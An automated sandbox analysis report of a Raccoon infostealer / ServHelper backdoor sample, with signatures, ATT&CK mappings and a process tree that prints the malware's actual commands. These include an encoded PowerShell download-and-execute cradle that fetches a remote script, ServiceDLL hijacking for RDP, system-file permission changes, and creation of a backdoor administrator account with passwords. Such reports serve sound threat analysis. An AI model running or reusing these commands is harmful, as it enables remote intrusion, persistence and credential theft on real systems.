raccoon | 15e71d5e4b29bbf6f1e97bb6ff2cfdb199fb040746d57443163a5c8fecd745aa

Analysis

max time kernel
133s
max time network
139s
platform
windows7_x64
resource
win7v20210408
submitted
02-06-2021 09:01

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General

Target

SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
Size

567KB
MD5

573cd4172367221cd990c2ddb86cc645
SHA1

fe4964a2da09a84bbdea7aa415e7ba83353bd513
SHA256

15e71d5e4b29bbf6f1e97bb6ff2cfdb199fb040746d57443163a5c8fecd745aa
SHA512

40db488bdfa7e01d605025dfca420b893861a0cbfc2fec2193fdc9f52b25a136300cdbae37b5891c6caac4635e93d342e23e339afcb7cc55a8eecd90e3d6a264

Score

10^/10

raccoon servhelper e46634757936706c1ff491585768dd6fe231db30 backdoor discovery exploit persistence spyware stealer trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
13	1568	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1920	0ujbkEjwVy.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1940	icacls.exe
1248	icacls.exe
1316	icacls.exe
1732	icacls.exe
532	icacls.exe
1968	takeown.exe
1332	icacls.exe
1060	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00050000000130e8-198.dat	upx
behavioral1/files/0x00060000000130e9-199.dat	upx

Deletes itself 1 IoCs

pid	Process
780	cmd.exe

Loads dropped DLL 12 IoCs

pid	Process
564	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
564	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
564	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
564	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
564	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
564	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
564	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
564	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
564	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
564	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
1792	Process not Found
1792	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
532	icacls.exe
1968	takeown.exe
1332	icacls.exe
1060	icacls.exe
1940	icacls.exe
1248	icacls.exe
1316	icacls.exe
1732	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KATXF85DZY71EA8GX3F0.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_30fd7358-4160-4da7-81ff-ef2803f148eb	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_767027d7-17b1-4a00-8f62-5f018bd9e2d3	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_749bbaff-a519-4520-889d-0a99e47346b0	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_834bf88d-0e4b-44b4-963e-7c10490f6614	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_aa260d5b-d0a2-433a-9b75-0bb65fc8fd97	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_31a163cf-bd45-480c-aa2d-91dbe9cb8b8c	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_93c482dc-f914-4f73-8c1a-9d96e6f4b41e	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_955c4568-0cb1-442e-83d8-5a8a32a7edb7	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_405c036d-68f9-45e7-ba3d-4047c901bf85	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_156ac8b6-f1c9-4c9a-8ef9-d4221ddca8e0	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_21358fda-e6c6-4ea2-9c52-3eb7af4f61dd	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1316	timeout.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c067cd5f9e57d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1624	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
912	powershell.exe
912	powershell.exe
1624	powershell.exe
1624	powershell.exe
812	powershell.exe
812	powershell.exe
1936	powershell.exe
1936	powershell.exe
912	powershell.exe
912	powershell.exe
912	powershell.exe
1568	powershell.exe
1568	powershell.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
472	Process not Found
1792	Process not Found
1792	Process not Found
1792	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	912	powershell.exe
Token: SeDebugPrivilege	1624	powershell.exe
Token: SeDebugPrivilege	812	powershell.exe
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeRestorePrivilege	1060	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1940	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1940	WMIC.exe
Token: SeAuditPrivilege	1940	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1940	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1940	WMIC.exe
Token: SeAuditPrivilege	1940	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	852	WMIC.exe
Token: SeIncreaseQuotaPrivilege	852	WMIC.exe
Token: SeAuditPrivilege	852	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	852	WMIC.exe
Token: SeIncreaseQuotaPrivilege	852	WMIC.exe
Token: SeAuditPrivilege	852	WMIC.exe
Token: SeDebugPrivilege	1568	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 564 wrote to memory of 1920	564	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe	30
PID 564 wrote to memory of 1920	564	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe	30
PID 564 wrote to memory of 1920	564	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe	30
PID 564 wrote to memory of 1920	564	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe	30
PID 564 wrote to memory of 780	564	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe	31
PID 564 wrote to memory of 780	564	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe	31
PID 564 wrote to memory of 780	564	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe	31
PID 564 wrote to memory of 780	564	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe	31
PID 780 wrote to memory of 1316	780	cmd.exe	33
PID 780 wrote to memory of 1316	780	cmd.exe	33
PID 780 wrote to memory of 1316	780	cmd.exe	33
PID 780 wrote to memory of 1316	780	cmd.exe	33
PID 1920 wrote to memory of 912	1920	0ujbkEjwVy.exe	34
PID 1920 wrote to memory of 912	1920	0ujbkEjwVy.exe	34
PID 1920 wrote to memory of 912	1920	0ujbkEjwVy.exe	34
PID 912 wrote to memory of 1444	912	powershell.exe	36
PID 912 wrote to memory of 1444	912	powershell.exe	36
PID 912 wrote to memory of 1444	912	powershell.exe	36
PID 1444 wrote to memory of 1680	1444	csc.exe	37
PID 1444 wrote to memory of 1680	1444	csc.exe	37
PID 1444 wrote to memory of 1680	1444	csc.exe	37
PID 912 wrote to memory of 1624	912	powershell.exe	38
PID 912 wrote to memory of 1624	912	powershell.exe	38
PID 912 wrote to memory of 1624	912	powershell.exe	38
PID 912 wrote to memory of 812	912	powershell.exe	40
PID 912 wrote to memory of 812	912	powershell.exe	40
PID 912 wrote to memory of 812	912	powershell.exe	40
PID 912 wrote to memory of 1936	912	powershell.exe	42
PID 912 wrote to memory of 1936	912	powershell.exe	42
PID 912 wrote to memory of 1936	912	powershell.exe	42
PID 912 wrote to memory of 1968	912	powershell.exe	45
PID 912 wrote to memory of 1968	912	powershell.exe	45
PID 912 wrote to memory of 1968	912	powershell.exe	45
PID 912 wrote to memory of 1332	912	powershell.exe	46
PID 912 wrote to memory of 1332	912	powershell.exe	46
PID 912 wrote to memory of 1332	912	powershell.exe	46
PID 912 wrote to memory of 1060	912	powershell.exe	47
PID 912 wrote to memory of 1060	912	powershell.exe	47
PID 912 wrote to memory of 1060	912	powershell.exe	47
PID 912 wrote to memory of 1940	912	powershell.exe	48
PID 912 wrote to memory of 1940	912	powershell.exe	48
PID 912 wrote to memory of 1940	912	powershell.exe	48
PID 912 wrote to memory of 1248	912	powershell.exe	49
PID 912 wrote to memory of 1248	912	powershell.exe	49
PID 912 wrote to memory of 1248	912	powershell.exe	49
PID 912 wrote to memory of 1316	912	powershell.exe	50
PID 912 wrote to memory of 1316	912	powershell.exe	50
PID 912 wrote to memory of 1316	912	powershell.exe	50
PID 912 wrote to memory of 1732	912	powershell.exe	51
PID 912 wrote to memory of 1732	912	powershell.exe	51
PID 912 wrote to memory of 1732	912	powershell.exe	51
PID 912 wrote to memory of 532	912	powershell.exe	52
PID 912 wrote to memory of 532	912	powershell.exe	52
PID 912 wrote to memory of 532	912	powershell.exe	52
PID 912 wrote to memory of 1048	912	powershell.exe	53
PID 912 wrote to memory of 1048	912	powershell.exe	53
PID 912 wrote to memory of 1048	912	powershell.exe	53
PID 912 wrote to memory of 1624	912	powershell.exe	54
PID 912 wrote to memory of 1624	912	powershell.exe	54
PID 912 wrote to memory of 1624	912	powershell.exe	54
PID 912 wrote to memory of 564	912	powershell.exe	55
PID 912 wrote to memory of 564	912	powershell.exe	55
PID 912 wrote to memory of 564	912	powershell.exe	55
PID 912 wrote to memory of 1532	912	powershell.exe	56

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe"
1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:564
- C:\Users\Admin\AppData\Local\Temp\0ujbkEjwVy.exe
  "C:\Users\Admin\AppData\Local\Temp\0ujbkEjwVy.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:912
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jznhumvx\jznhumvx.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1444
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEACC.tmp" "c:\Users\Admin\AppData\Local\Temp\jznhumvx\CSC8D8EA9C58B514EBFBBA633DE873176DA.TMP"
        5⤵
        
        PID:1680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1624
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:812
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1936
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1968
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1332
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1060
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1940
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1248
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1316
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1732
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:532
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1048
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:1624
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:564
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1532
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:1596
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:872
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:1620
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:288
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:812
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:376
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:1296
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:1072
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:1668
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:1288
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:1808
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:780
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:1316

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:1280
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:112

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc dZ1sOhrL /add
1⤵
PID:1944
- C:\Windows\system32\net.exe
  net.exe user wgautilacc dZ1sOhrL /add
  2⤵
  PID:1160
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc dZ1sOhrL /add
    3⤵
    PID:1048

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1692
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1528
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1044

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:1620
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:1720
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1332

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1248
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1280
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1192

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc dZ1sOhrL
1⤵
PID:372
- C:\Windows\system32\net.exe
  net.exe user wgautilacc dZ1sOhrL
  2⤵
  PID:1568
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc dZ1sOhrL
    3⤵
    PID:1796

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1528
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1940

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:872
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:852

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:780
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1568

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:112
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:556
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:852

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/564-59-0x00000000757C1000-0x00000000757C3000-memory.dmp

Filesize
8KB

Download
memory/564-61-0x0000000000400000-0x0000000000496000-memory.dmp

Filesize
600KB

Download
memory/564-60-0x0000000000270000-0x0000000000301000-memory.dmp

Filesize
580KB

Download
memory/812-145-0x000000001A924000-0x000000001A926000-memory.dmp

Filesize
8KB

Download
memory/812-151-0x00000000025C0000-0x00000000025C1000-memory.dmp

Filesize
4KB

Download
